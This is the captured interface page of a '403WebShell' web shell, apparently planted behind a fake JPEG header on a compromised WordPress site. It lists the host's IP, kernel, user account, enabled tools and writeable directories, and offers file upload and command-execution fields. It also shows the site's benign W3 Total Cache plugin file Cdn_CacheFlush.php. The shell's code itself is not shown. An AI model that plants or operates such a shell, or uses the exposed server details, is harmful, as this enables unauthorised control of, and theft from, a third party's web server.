????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/w3-total-cache/Cdn_CacheFlush.php
<?php
namespace W3TC;

/**
 * CDN cache purge object
 */

/**
 * class Cdn_CacheFlush
 */
class Cdn_CacheFlush {
	/**
	 * Advanced cache config
	 */
	var $_config = null;


	/**
	 * Array of urls to flush
	 *
	 * @var array
	 */
	private $flush_operation_requested = false;

	/**
	 * PHP5 Constructor
	 */
	function __construct() {
		$this->_config = Dispatcher::config();
	}

	/**
	 * Purges everything from CDNs that supports it
	 */
	function purge_all() {
		$this->flush_operation_requested = true;
		return true;
	}

	/**
	 * Purge a single url
	 *
	 * @param unknown $url
	 */
	function purge_url( $url ) {
		$common = Dispatcher::component( 'Cdn_Core' );
		$results = array();
		$files = array();
		$parsed = parse_url( $url );
		$local_site_path = isset( $parsed['path'] )? ltrim( $parsed['path'], '/' ) : '';
		$remote_path = $common->uri_to_cdn_uri( $local_site_path );
		$files[] = $common->build_file_descriptor( $local_site_path, $remote_path );
		$this->_flushed_urls[] = $url;
		$common->purge( $files, $results );
	}

	/**
	 * Clears global and repeated urls
	 */
	function purge_post_cleanup() {
		if ( $this->flush_operation_requested ) {
			$common = Dispatcher::component( 'Cdn_Core' );
			$results = array();
			$common->purge_all( $results );

			$count = 999;

			$this->flush_operation_requested = false;
		}

		return $count;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit